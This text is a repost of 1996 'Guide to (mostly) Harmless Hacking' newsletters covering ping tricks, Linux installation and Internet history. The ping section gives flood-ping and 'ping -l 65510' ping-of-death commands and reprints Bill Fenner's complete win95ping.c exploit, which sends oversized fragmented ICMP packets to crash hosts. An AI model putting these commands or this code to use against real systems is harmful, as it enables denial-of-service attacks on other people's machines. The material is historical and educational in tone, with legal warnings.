like you were sitting there at the console of one of your ISP's hosts.
You may already have a shell account but just not know how to log on to it. Call tech support with your ISP to find out whether you have one, and how to get on it.
***************************************
There are all sorts of fancy variations on the ping command. And, guess what, whenever there is a command you give over the Internet that has lots of variations, you can just about count on there being something hackable in there. Muhahaha!
The flood ping is a simple example. If your operating system will let you get away with giving the command:
-> ping -f hostname
it sends out a veritable flood of pings, as fast as your ISP's host machine can make them. This keeps the host you've targeted so busy echoing back your pings that it can do little else. It also puts a heavy load on the network.
Hackers with primitive skill levels will sometimes get together and use several of their computers at once to simultaneously ping some victim's Internet host computer. This will generally keep the victim's computer too
busy to do anything else. It may even crash. However, the down side (from the attackers' viewpoint) is that it keeps the attackers' computers tied up, too.
**************************************
NETIQUETTE NOTE: Flood pinging a computer is extremely rude. Get caught doing this and you will be lucky if the worst that happens is your on-line service provider closes your account. Do this to a serious hacker and you may need an identity transplant.
If you should start a flood ping kind of by accident, you can shut it off by holding down the control key and pressing "c" (control-c).
**************************************
*************************************
EVIL GENIUS TIP: Ping yourself! If you are using some sort of Unix, your operating system will let you use your computer to do just about anything to itself that it can do to other computers. The network address that takes you
back to your own host computer is localhost (or 127.0.0.1). Here's an example of how I use localhost:
[65] ->telnet localhost
Trying 127.0.0.1 ...
Connected to localhost.
Escape character is '^]'.

SunOS UNIX (slug)

login:
See, I'm back to the login sequence for the computer named "slug" all over
again.
Now I ping myself:
[68] ->/usr/etc/ping localhost
localhost is alive
This gives the same result as if I were to command:
[69] ->/usr/etc/ping llama
llama.swcp.com is alive
****************************************
*****************************************
MUHAHAHA TIP: Want to yank someone's chain? Tell him to ftp to 127.0.0.1 and log in using his or her own user name and password for kewl warez! My ex-husband Keith Henson did that to the Church of Scientology. The COGs ftp-ed to 127.0.0.1 and discovered all their copyrighted scriptures. They
assumed this was on Keith's computer, not theirs. They were *so* sure he had their scriptures that they took him to court. The judge, when he realized they were simply looping back to their own computer, literally laughed them out of court.
For a hilarious transcript or audio tape of this infamous court session, email hkhenson@cup.portal.com. That's Keith's email address. My hat is off to a superb hacker!
*******************************************
However, the oversize ping packet exploit you are about to learn will do even more damage to some hosts than a gang of flood ping conspirators. And it will do it without tying up the attackers' computer for any longer than the split second it takes to send out just one ping.
The easiest way to do this hack is to run Windows 95. Don't have it? You can generally find a El Cheapo store that will sell it to you for $99.
To do this, first set up your Windows 95 system so that you can make a PPP or SLIP connection with the Internet using the Dialup Networking program under the My Computer icon. You may need some help from your ISP tech support in setting this up. You must do it this way or this hack won't work. Your America Online dialer *definitely* will not work.
************************************
NEWBIE NOTE: If your Internet connection allows you to run a Web browser that shows pictures, you can use that dialup number with your Windows 95 Dialup Networking program to get either a PPP or SLIP connection.
************************************
Next, get your connected to the Internet. But don't run a browser or anything. Instead, once your Dialup Networking program tell you that you have a connection, click on the "Start" button and go to the listing "MS-DOS." Open this DOS window. You'll get a prompt:
C:\windows\>
Now let's first do this the good citizen way. At this prompt you can type in a plain ordinary "ping" command:
C:\windows\ping hostname
where "hostname" is the address of some Internet computer. For example, you could ping thales.nmia.com, which is one of my favorite computers, named after an obscure Greek philosopher.
Now if you happened to know the address of one of Saddam Hussein's computers, however, you might want to give the command:
c:\windows\ping -l 65510 saddam_hussein's.computer.mil
Now don't really do this to a real computer! Some, but not all, computers will crash and either remain hung or reboot when they get this ping. Others will continue working cheerily along, and then suddenly go under hours later.
Why? That extra added -l 65510 creates a giant datagram for the ping packet. Some computers, when asked to send back an identical datagram, get really messed up.
If you want all the gory details on this ping exploit, including how to protect your computers from it, check out
http://www.sophist.demon.co.uk/ping.
Now there are other ways to manufacture a giant ping datagram besides using Windows 95. For example, if you run certain FreeBSD or Linux versions of Unix on your PC, you can run this program, which was posted to the Bugtraq list.
From: Bill Fenner
To: Multiple recipients of list BUGTRAQ
Subject: Ping exploit program

Since some people don't necessarily have Windows '95 boxes lying around, I (Fenner) wrote the following exploit program. It requires a raw socket layer that doesn't mess with the packet, so BSD 4.3, SunOS and Solaris are
out. It works fine on 4.4BSD systems. It should work on Linux if you compile with -DREALLY_RAW.

Feel free to do with this what you want. Please use this tool only to test your own machines, and not to crash others'.
* win95ping.c
*
* Simulate the evil win95 "ping -l 65510 buggyhost".
* version 1.0 Bill Fenner 22-Oct-1996
*
* This requires raw sockets that don't mess with the packet at all (other
* than adding the checksum). That means that SunOS, Solaris, and
* BSD4.3-based systems are out. BSD4.4 systems (FreeBSD, NetBSD,
* OpenBSD, BSDI) will work. Linux might work, I don't have a Linux
* system to try it on.
*
* The attack from the Win95 box looks like:
* 17:26:11.013622 cslwin95 > arkroyal: icmp: echo request (frag 6144:1480@0+)
* 17:26:11.015079 cslwin95 > arkroyal: (frag 6144:1480@1480+)
* 17:26:11.016637 cslwin95 > arkroyal: (frag 6144:1480@2960+)
* 17:26:11.017577 cslwin95 > arkroyal: (frag 6144:1480@4440+)
* 17:26:11.018833 cslwin95 > arkroyal: (frag 6144:1480@5920+)
* 17:26:11.020112 cslwin95 > arkroyal: (frag 6144:1480@7400+)
* 17:26:11.021346 cslwin95 > arkroyal: (frag 6144:1480@8880+
* 17:26:11.022641 cslwin95 > arkroyal: (frag 6144:1480@10360+)
* 17:26:11.023869 cslwin95 > arkroyal: (frag 6144:1480@11840+)
* 17:26:11.025140 cslwin95 > arkroyal: (frag 6144:1480@13320+)
* 17:26:11.026604 cslwin95 > arkroyal: (frag 6144:1480@14800+)
* 17:26:11.027628 cslwin95 > arkroyal: (frag 6144:1480@16280+)
* 17:26:11.028871 cslwin95 > arkroyal: (frag 6144:1480@17760+)
* 17:26:11.030100 cslwin95 > arkroyal: (frag 6144:1480@19240+)
* 17:26:11.031307 cslwin95 > arkroyal: (frag 6144:1480@20720+)
* 17:26:11.032542 cslwin95 > arkroyal: (frag 6144:1480@22200+)
* 17:26:11.033774 cslwin95 > arkroyal: (frag 6144:1480@23680+)
* 17:26:11.035018 cslwin95 > arkroyal: (frag 6144:1480@25160+)
* 17:26:11.036576 cslwin95 > arkroyal: (frag 6144:1480@26640+)
* 17:26:11.037464 cslwin95 > arkroyal: (frag 6144:1480@28120+)
* 17:26:11.038696 cslwin95 > arkroyal: (frag 6144:1480@29600+)
* 17:26:11.039966 cslwin95 > arkroyal: (frag 6144:1480@31080+)
* 17:26:11.041218 cslwin95 > arkroyal: (frag 6144:1480@32560+)
* 17:26:11.042579 cslwin95 > arkroyal: (frag 6144:1480@34040+)
* 17:26:11.043807 cslwin95 > arkroyal: (frag 6144:1480@35520+)
* 17:26:11.046276 cslwin95 > arkroyal: (frag 6144:1480@37000+)
* 17:26:11.047236 cslwin95 > arkroyal: (frag 6144:1480@38480+)
* 17:26:11.048478 cslwin95 > arkroyal: (frag 6144:1480@39960+)
* 17:26:11.049698 cslwin95 > arkroyal: (frag 6144:1480@41440+)
* 17:26:11.050929 cslwin95 > arkroyal: (frag 6144:1480@42920+)
* 17:26:11.052164 cslwin95 > arkroyal: (frag 6144:1480@44400+)
* 17:26:11.053398 cslwin95 > arkroyal: (frag 6144:1480@45880+)
* 17:26:11.054685 cslwin95 > arkroyal: (frag 6144:1480@47360+)
* 17:26:11.056347 cslwin95 > arkroyal: (frag 6144:1480@48840+)
* 17:26:11.057313 cslwin95 > arkroyal: (frag 6144:1480@50320+)
* 17:26:11.058357 cslwin95 > arkroyal: (frag 6144:1480@51800+)
* 17:26:11.059588 cslwin95 > arkroyal: (frag 6144:1480@53280+)
* 17:26:11.060787 cslwin95 > arkroyal: (frag 6144:1480@54760+)
* 17:26:11.062023 cslwin95 > arkroyal: (frag 6144:1480@56240+)
* 17:26:11.063247 cslwin95 > arkroyal: (frag 6144:1480@57720+)
* 17:26:11.064479 cslwin95 > arkroyal: (frag 6144:1480@59200+)
* 17:26:11.066252 cslwin95 > arkroyal: (frag 6144:1480@60680+)
* 17:26:11.066957 cslwin95 > arkroyal: (frag 6144:1480@62160+)
* 17:26:11.068220 cslwin95 > arkroyal: (frag 6144:1480@63640+)
* 17:26:11.069107 cslwin95 > arkroyal: (frag 6144:398@65120)
*
*/

#include
#include
#include
#include
#include
#include
#include
#include

/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif

int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;

bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */

dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;

icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
(End of Fenner's ping exploit message.)
********************************************
YOU CAN GO TO JAIL NOTE: Not only is this hack not elite, if you are reading this you don't know enough to keep from getting busted from doing this ping hack. On the other hand, if you were to do it to an Internet host in Iraq...
********************************************
Of course there are many other kewl things you can do with ping. If you have a shell account, you can find out lots of stuph about ping by giving the command:
man ping
In fact, you can get lots of details on any Unix command with "man."
Have fun with ping -- and be good! But remember, I'm not begging the evil genius wannabes to be good. See if I care when you get busted...
_________________________________________________________
To subscribe, email hacker@techbroker.com with message “subscribe hh.” To send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to
dev/null@techbroker.com. Happy hacking!
Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end..
________________________________________________________
____________________________________________________________

hacking harmless chapter 2

2009-05-27T13:53:00.004-07:00

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 2
Linux!
________________________________________
Unix has become the primo operating system of the Internet. In fact, Unix is the most widely used operating system in the world among computers with more power than PCs.
True, Windows NT is coming up fast as a common Internet operating system, and is sooo wonderfully buggy that it looks like it could become the number one favorite to crack into. But today Unix in all its wonderful flavors still is the operating system to know in order to be a truly elite hacker.
So far we have assumed that you have been hacking using a shell account that you get through your Internet Service Provider (ISP). A shell account allows you to give Unix commands on one of your ISP's computers. But you don't need to depend on your ISP for a machine that lets you play with Unix. You can run Unix on your own computer and with a SLIP or PPP connection be directly connected to the Internet.
***********************
Newbie note: Serial Line Internet Protocol (SLIP) and Point-to-Point Protocol (PPP) connections give you a temporary Internet Protocol (IP) address that allows you to be hooked directly to the Internet. You have to use either SLIP or PPP connections to get to use a Web browser that gives you pictures instead on text only. So if you can see pictures on the Web, you already have one of these available to you.
The advantage of using one of these direct connections for your hacking activities is that you will not leave behind a shell log file for your ISP's sysadmin to pore over. Even if you are not breaking the law, a shell log file that shows you doing lots of hacker stuph can be enough for some sysadmins to summarily close your account.
********************
What is the best kind of computer to run Unix on? Unless you are a wealthy hacker who thinks nothing of buying a Sun SPARC workstation, you'll probably do best with some sort of PC. There are almost countless variants of Unix that run on PCs, and a few for Macs. Most of them are free for download, or inexpensively available on CD-ROMs.
The three most common variations of Unix that run on PCs are Sun's Solaris, FreeBSD and Linux. Solaris costs around $700. Enough said. FreeBSD is really, really good. But you con't find many manuals or newsgroups that cover FreeBSD.
Linux, however, has the advantage of being available in many variants (so you can have fun mixing and matching programs from different Linux offerings). Most importantly, Linux is supported by many manuals, news groups, mail lists and Web sites. If you have hacker friends in your area, most of them probably use Linux and can help you out.
*********************
Historical note: Linux was created in 1991 by a group led by Linus Torvalds of the University of Helsinki. Linux is copyrighted under the GNU General Public License. Under this agreement, Linux may be redistributed to anyone along with the source code. Anyone can sell any variant of Linux and modify it and repackage it. But even if someone modifies the source code he or she may not claim copyright for anything created from Linux. Anyone who sells a modified version of Linux must provide source code to the buyers and allow them to reuse it in their commercial products without charging licensing fees. This arrangement is known as a "copyleft."
Under this arrangement the original creators of Linux receive no licensing or shareware fees. Linus Torvalds and the many others who have contributed to Linux have done so from the joy of programming and a sense of community with all of us who will hopefully use Linux in the spirit of good guy hacking. Viva Linux! Viva Torvalds!
**********************
Linux consists of the operating system itself (called the "kernel") plus a set of associated programs.
The kernel, like all types of Unix, is a multitasking, multi-user operating system. Although it uses a different file structure, and hence is not directly compatible with DOS and Windows, it is so flexible that many DOS and Windows programs can be run while in Linux. So a power user will probably want to boot up in Linux and then be able to run DOS and Windows programs from Linux.
Associated programs that come with most Linux distributions may include:
* a shell program (Bourne Again Shell -- BASH -- is most common);
* compilers for programming languages such as Fortran-77 (my favorite!), C, C++, Pascal, LISP, Modula-2, Ada, Basic (the best language for a beginner), and Smalltalk.;
* X (sometimes called X-windows), a graphical user interface
* utility programs such as the email reader Pine (my favorite) and Elm
Top ten reasons to install Linux on your PC:
1.When Linux is outlawed, only outlaws will own Linux.
2. When installing Linux, it is so much fun to run fdisk without backing up first.
3.The flames you get from asking questions on Linux newsgroups are of a higher quality than the flames you get for posting to alt.sex.bestiality.
4.No matter what flavor of Linux you install, you'll find out tomorrow there was a far more 3l1te ersion you should have gotten instead.
5.People who use Free BSD or Solaris will not make fun of you. They will offer their sympathy instead.
6.At the next Def Con you'll be able to say stuph like "so then I su-ed to his account and grepped all his files for 'kissyface'." Oops, grepping other people's files is a no-no, forget I ever suggested it.
7.Port surf in privacy.
8.One word: exploits.
9.Installing Linux on your office PC is like being a postal worker and bringing an Uzi to work.
10.But - - if you install Linux on your office computer, you boss won't have a clue what that means.
What types of Linux work best? It depends on what you really want. Redhat Linux is famed for being the easiest to install. The Walnut Creek Linux 3.0 CD-ROM set is also really easy to install -- for Linux, that is! My approach has been to get lots of Linux versions and mix and match the best from each distribution.
I like the Walnut Creek version best because with my brand X hardware, its autodetection feature was a life-saver.
INSTALLING LINUX is not for the faint of heart! Several tips for surviving installation are:
1) Although you in theory can run Linux on a 286 with 4 MB RAM and two floppy drives, it is *much* easier with a 486 or above with 8 MB RAM, a CD-ROM, and at least 200 MB free hard disk space.
2) Know as much as possible about what type of mother board, modem, hard disk, CD-ROM, and video card you have. If you have any documentation for these, have them on hand to reference during installation.
3) It works better to use hardware that is name-brand and somewhat out-of-date on your computer. Because Linux is freeware, it doesn't offer device drivers for all the latest hardware. And if your hardware is like mine -- lots of Brand X and El Cheapo stuph, you can take a long time experimenting with what drivers will work.
4) Before beginning installation, back up your hard disk(s)! In theory you can install Linux without harming your DOS/Windows files. But we are all human, especially if following the advice of point 7).
5) Get more than one Linux distribution. The first time I successfully installed Linux, I finally hit on something that worked by using the boot disk from one distribution with the CD-ROM for another. In any case, each Linux distribution had different utility programs, operating system emulators, compilers and more. Add them all to your system and you will be set up to become beyond elite.
6) Buy a book or two or three on Linux. I didn't like any of them! But they are better than nothing. Most books on Linux come with one or two CD-ROMs that can be used to install Linux. But I found that what was in the books did not exactly coincide with what was on the CD-ROMs.
7) I recommend drinking while installing. It may not make debugging go any faster, but at least you won't care how hard it is.
Now I can almost guarantee that even following all these 6 pieces of advice, you will still have problems installing Linux. Oh, do I have 7 advisories up there? Forget number 7. But be of good cheer. Since everyone else also suffers mightily when installing and using Linux, the Internet has an incredible wealth of resources for the Linux -challenged.
If you are allergic to getting flamed, you can start out with Linux support Web sites.
The best I have found is http://sunsite.unc.edu:/pub/Linux/. It includes the Linux Frequently Asked Questions list (FAQ), available from
sunsite.unc.edu:/pub/Linux/docs/FAQ.
In the directory /pub/Linux/docs on sunsite.unc.edu you'll find a number of other documents about Linux, including the Linux INFO-SHEET and META-FAQ,
The Linux HOWTO archive is on the sunsite.unc.edu Web site at: /pub/Linux/docs/HOWTO. The directory /pub/Linux/docs/LDP contains the current set of LDP manuals.
You can get ``Linux Installation and Getting Started'' from sunsite.unc.edu in /pub/Linux/docs/LDP/install-guide. The README file there describes how you can order a printed copy of the book of the same name (about 180 pages).
Now if you don't mind getting flamed, you may want to post questions to the amazing number of Usenet news groups that cover Linux. These include:
comp.os.linux.advocacy Benefits of Linux compared
comp.os.linux.development.system Linux kernels, device drivers
comp.os.linux.x Linux X Window System servers
comp.os.linux.development.apps Writing Linux applications
comp.os.linux.hardware Hardware compatibility
comp.os.linux.setup Linux installation
comp.os.linux.networking Networking and communications
comp.os.linux.answers FAQs, How-To's, READMEs, etc.
linux.redhat.misc
alt.os.linux Use comp.os.linux.* instead
alt.uu.comp.os.linux.questions Usenet University helps you
comp.os.linux.announce Announcements important to Linux
comp.os.linux.misc Linux-specific topics
Want your Linux free? Tobin Fricke has pointed out that "free copies of Linux CD-ROMs are available the Linux Support & CD Givaway web site at http://emile.math.ucsb.edu:8000/giveaway.html. This is a project where people donate Linux CD's that they don't need any more. The project was seeded by Linux Systems Labs, who donated 800 Linux CDs initially! Please remember to donate your Linux CD's when you are done with them. If you live near a computer swap meet, Fry's, Microcenter, or other such place, look for Linux CD's there. They are usually under $20, which is an excellent investment. I personally like the Linux Developer's Resource by Infomagic, which is now up to a seven CD set, I believe, which includes all major Linux distributions (Slackware, Redhat, Debian, Linux for DEC Alpha to name a few)plus mirrors of tsx11.mit.edu and sunsite.unc.edu/pub/linux plus much more. You should also visit the WONDERFUL linux page at
http://sunsite.unc.edu/linux, which has tons of information, as well as the
http://www.linux.org/. You might also want to check out
http://www.redhat.com/ and http://www.caldera.com/ for more
information on commercial versions of linux (which are still freely available under GNU)."
How about Linux security? Yes, Linux, like every operating system, is imperfect. Eminently hackable, if you really want to know. So if you want to find out how to secure your Linux system, or if you should come across one of the many ISPs that use Linux and want to go exploring (oops, forget I
wrote that), here's where you can go for info:
ftp://info.cert.org/pub/cert_advisories/CA-94:01.network.monitoring.attacks
ftp://info.cert.org/pub/tech_tips/root_compromise
http://bach.cis.temple.edu/linux/linux-security/
http://www.geek-girl.com/bugtraq/
There is also help for Linux users on Internet Relay Chat (IRC). Ben (cyberkid@usa.net)
hosts a channel called #LinuxHelp on the Undernet IRC server.

Last but not least, if you want to ask Linux questions on the Happy Hacker list, you're welcome. We may be the blind leading the blind, but what
the heck!
________________________________________
Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end.
________________________________________

Hacking for Dummies

2009-05-27T13:53:00.003-07:00

Hacking for Dummies

Contents of Volume 2:
Internet for Dummies
Linux!
Introduction to TCP/IP
Port Surfing!
____________________________________________________________
GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 1
Internet for Dummies -- skip this if you are a Unix wizard. But if you read on you’ll get some more kewl hacking instructions.
____________________________________________________________
The six Guides to (mostly) Harmless Hacking of Vol. 1 jumped immediately into how-to hacking tricks. But if you are like me, all those details of probing ports and playing with hypotheses and pinging down hosts gets a little dizzying.
So how about catching our breath, standing back and reviewing what the heck it is that we are playing with? Once we get the basics under control, we then can move on to serious hacking.
Also, I have been wrestling with my conscience over whether to start giving you step-by-step instructions on how to gain root access to other peoples’ computers. The little angel on my right shoulder whispers, “Gaining root without permission on other people’s computers is not nice. So don’t tell people how to do it.” The little devil on my left shoulder says, “Carolyn, all these hackers think you don’t know nothin’! PROOVE to them you know how to crack!” The little angel says, “If anyone reading Guide to (mostly) Harmless Hacking tries out this trick, you might get in trouble with the law for conspiracy to damage other peoples’ computers.” The little devil says, “But, Carolyn, tell people how to crack into root and they will think you are KEWL!”
So here’s the deal. In this and the next few issues of Guide to (mostly) Harmless Hacking I’ll tell you several ways to get logged on as the superuser in the root account of some Internet host computers. But the instructions will leave a thing or two to the imagination.
My theory is that if you are willing to wade through all this, you probably aren’t one of those cheap thrills hacker wannabes who would use this knowledge to do something destructive that would land you in jail.
*****************************
Technical tip: If you wish to become a *serious* hacker, you’ll need Linux (a freeware variety of Unix) on your PC. One reason is that then you can crack into root legally all you want -- on your own computer. It sure beats struggling around on someone else’s computer only to discover that what you thought was root was a cleverly set trap and the sysadmin and FBI laugh at you all the way to jail.
Linux can be installed on a PC with as little as a 386 CPU, only 2 Mb RAM and as little as 20 MB of hard disk. You will need to reformat your hard disk. While some people have successfully installed Linux without trashing their DOS/Windows stuff, don’t count on getting away with it. Backup, backup, backup!
*****************************
*****************************
You can go to jail warning: Crack into root on someone else’s computer and the slammer becomes a definite possibility. Think about this: when you see a news story about some hacker getting busted, how often do you recognize the name? How often is the latest bust being done to someone famous, like Dark Tangent or se7en or Emmanuel Goldstein? How about, like, never! That’s because really good hackers figure out how to not do stupid stuff. They learn how to crack into computers for the intellectual challenge and to figure out how to make computers safe from intruders. They don’t bull their way into root and make a mess of things, which tends to inspire sysadmins to call the cops.
*********************************
Exciting notice: Is it too boring to just hack into your own Linux machine? Hang in there. Ira Winkler of the National Computer Security Association, Dean Garlick of the Space Dynamics Lab of Utah State University and I are working on setting up hack.net, a place where it will be legal to break into computers. Not only that, we’re looking for sponsors who will give cash awards and scholarships to those who show the greatest hacking skills. Now does that sound like more phun than jail?
*****************************
So, let’s jump into our hacking basics tutorial with a look at the wondrous anarchy that is the Internet.
Note that these Guides to (mostly) Harmless Hacking focus on the Internet. That is because there are many legal ways to hack on the Internet. Also, there are over 10 million of these readily hackable computers on the Internet, and the number grows every day.
Internet Basics
No one owns the Internet. No one runs it. It was never planned to be what it is today. It just happened, the mutant outgrowth of a 1969 US Defense Advanced Research Projects Agency experiment.
This anarchic system remains tied together because its users voluntarily obey some basic rules. These rules can be summed up in two words: Unix and TCP/IP (with a nod to UUCP). If you understand, truly understand Unix and TCP/IP (and UUCP), you will become a fish swimming in the sea of cyberspace, an Uberhacker among hacker wannabes, a master of the Internet universe.
To get technical, the Internet is a world-wide distributed computer/communications network held together by a common communications standard, Transmission Control Protocol/Internet Protocol (TCP/IP) and a bit of UUCP. These standards allow anyone to hook up a computer to the Internet, which then becomes another node in this network of the Internet. All that is needed is to get an Internet address assigned to the new computer, which is then known as an Internet "host," and tie into an Internet communications link. These links are now available in almost all parts of the world.
If you use an on-line service from your personal computer, you, too, can temporarily become part of the Internet. There are two main ways to hook up to an on-line service.
There is the cybercouch potato connection that every newbie uses. It requires either a point-to-point (PPP) or SLIPconnection, which allows you to run pretty pictures with your Web browser. If you got some sort of packaged software from your ISP, it automatically gives you this sort of connection.
Or you can connect with a terminal emulator to an Internet host. This program may be something as simple as the Windows 3.1 “Terminal” program under the “Accessories” icon. Once you have dialed in and connected you are just another terminal on this host machine. It won’t give you pretty pictures. This connection will be similar to what you get on an old-fashioned BBS. But if you know how to use this kind of connection, it could even give you root access to that host.
But how is the host computer you use attached to the Internet? It will be running some variety of the Unix operating system. Since Unix is so easy to adapt to almost any computer, this means that almost any computer may become an Internet host.
For example, I sometimes enter the Internet through a host which is a Silicon Graphics Indigo computer at Utah State University. Its Internet address is fantasia.idec.sdl.usu.edu. This is a computer optimized for computer animation work, but it can also operate as an Internet host. On other occasions the entry point used may be pegasus.unm.edu, which is an IBM RS 6000 Model 370. This is a computer optimized for research at the University of New Mexico.
Any computer which can run the necessary software -- which is basically the Unix operating system -- has a modem, and is tied to an Internet communications link, may become an Internet node. Even a PC may become an Internet host by running one of the Linux flavors of Unix. After setting it up with Linux you can arrange with the ISP of your choice to link it permanently to the Internet.
In fact, many ISPs use nothing more than networked PCs running Linux!
As a result, all the computing, data storage, and sending, receiving and forwarding of messages on the Internet is handled by the millions of computers of many types and owned by countless companies, educational institutions, governmental entities and even individuals.
Each of these computers has an individual address which enables it to be reached through the Internet if hooked up to a appropriate communications link. This address may be represented in two ways: as a name or a number.
The communications links of the Internet are also owned and maintained in the same anarchic fashion as the hosts. Each owner of an Internet host is responsible for finding and paying for a communications link that will get that host tied in with at least one other host. Communications links may be as simple as a phone line, a wireless data link such as cellular digital packet data, or as complicated as a high speed fiber optic link. As long as the communications link can use TCP/IP or UUCP, it can fit into the Internet.
Thus the net grows with no overall coordination. A new owner of an Internet host need only get permission to tie into one communications link to one other host. Alternatively, if the provider of the communications link decides this host is, for example, a haven for spammers, it can cut this “rogue site” off of the Internet. The rogue site then must snooker some other communications link into tying it into the Internet again.
The way most of these interconnected computers and communications links work is through the common language of the TCP/IP protocol. Basically, TCP/IP breaks any Internet communication into discrete "packets." Each packet includes information on how to rout it, error correction, and the addresses of the sender and recipient. The idea is that if a packet is lost, the sender will know it and resend the packet. Each packet is then launched into the Internet. This network may automatically choose a route from node to node for each packet using whatever is available at the time, and reassembles the packets into the complete message at the computer to which it was addressed.
These packets may follow tortuous routes. For example, one packet may go from a node in Boston to Amsterdam and back to the US for final destination in Houston, while another packet from the same message might be routed through Tokyo and Athens, and so on. Usually, however, the communications links are not nearly so torturous. Communications links may include fiber optics, phone lines and satellites.
The strength of this packet-switched network is that most messages will automatically get through despite heavy message traffic congestion and many communications links being out of service. The disadvantage is that messages may simply disappear within the system. It also may be difficult to reach desired computers if too many communications links are unavailable at the time.
However, all these wonderful features are also profoundly hackable. The Internet is robust enough to survive -- so its inventors claim -- even nuclear war. Yet it is also so weak that with only a little bit of instruction, it is possible to learn how to seriously spoof the system (forged email) or even temporarily put out of commission other people's Internet host computers (flood pinging, for example.)
On the other hand, the headers on the packets that carry hacking commands will give away the account information from which a hacker is operating. For this reason it is hard to hide perfectly when on the Internet.
It is this tension between this power and robustness and weakness and potential for confusion that makes the Internet a hacker playground.
For example, HERE IS YOUR HACKER TIP YOU’VE BEEN WAITING FOR THIS ISSUE:
ftp://ftp.secnet.com
This ftp site was posted on the BUGTRAQ list, which is dedicated to discussion of Unix security holes. Moderator is Aleph One, who is a genuine Uberhacker. If you want to subscribe to the BUGTRAQ, email LISTSERV@netspace.org with message “subscribe BUGTRAQ.”
Now, back to Internet basics.
History of Internet
As mentioned above, the Internet was born as a US Advanced Research Projects Agency (ARPA) effort in 1969. Its inventors called it ARPANET. But because of its value in scientific research, the US National Science Foundation (NSF) took it over in 1983. But over the years since then it gradually evolved away from any single source of control. In April 1995 NSF cut the last apron strings. Now the Internet is run by no one. It just happens and grows out of the efforts of those who play with it and struggle with the software and hardware.
Nothing at all like this has ever happened before. We now have a computer system with a life of its own. We, as hackers, form a big part of the mutation engine that keeps the Internet evolving and growing stronger. We also form a big part of the immune system of this exotic creature.
The original idea of ARPANET was to design a computer and communications network that would eventually become so redundant, so robust, and so able to operate without centralized control, that it could even survive nuclear war. What also happened was that ARPANET evolved into a being that has survived the end of government funding without even a blip in its growth. Thus its anarchic offspring, the Internet, has succeeded beyond the wildest dreams of its original architects.
The Internet has grown explosively, with no end in sight. At its inception as ARPANET it held only 4 hosts. A quarter of a century later, in 1984, it contained only 1000 hosts. But over the next 5 years this number grew tenfold to 10,000 (1989). Over the following 4 years it grew another tenfold to 1 million (1993). Two years later, at the end of 1995, the Internet was estimated to have at least 6 million host computers. There are probably over 10 million now. There appears to be no end in sight yet to the incredible growth of this mutant child of ARPANET.
In fact, one concern raised by the exponential growth in the Internet is that demand may eventually far outrace capacity. Because now no entity owns or controls the Internet, if the capacity of the communications links among nodes is too small, and it were to become seriously bogged down, it might be difficult to fix the problem.
For example, in 1988, Robert Morris, Jr. unleashed a "virus"-type program on the Internet commonly known as the “Morris Worm.” This virus would make copies of itself on whatever computer it was on and then send copies over communications links to other Internet hosts. (It used a bug in sendmail that allowed access to root, allowing the virus to act as the superuser).
Quickly the exponential spread of this virus made the Internet collapse from the communications traffic and disk space it tied up.
At the time the Internet was still under some semblance of control by the National Science Foundation and was connected to only a few thousand computers. The Net was shut down and all viruses purged from its host computers, and then the Net was put back into operation. Morris, meanwhile, was put in jail.
There is some concern that, despite improved security measures (for example, "firewalls"), someone may find a new way to launch a virus that could again shut down the Internet. Given the loss of centralized control, restarting it could be much more time-consuming if this were to happen again.
But reestablishing a centralized control today like what existed at the time of the “Morris Worm” is likely to be impossible. Even if it were possible, the original ARPANET architects were probably correct in their assessment that the Net would become more susceptible for massive failure rather than less if some centralized control were in place.
Perhaps the single most significant feature of today's Internet is this lack of centralized control. No person or organization is now able to control the Internet. In fact, the difficulty of control became an issue as early as its first year of operation as ARPANET. In that year email was spontaneously invented by its users. To the surprise of ARPANET's managers, by the second year email accounted for the bulk of the communication over the system.
Because the Internet had grown to have a fully autonomous, decentralized life of its own, in April 1995, the NSF quit funding NSFNET, the fiber optics communications backbone which at one time had given NSF the technology to control the system. The proliferation of parallel communications links and hosts had by then completely bypassed any possibility of centralized control.
There are several major features of the Internet:
* World Wide Web -- a hypertext publishing network and now the fastest growing part of the Internet.
* email -- a way to send electronic messages
* Usenet -- forums in which people can post and view public messages
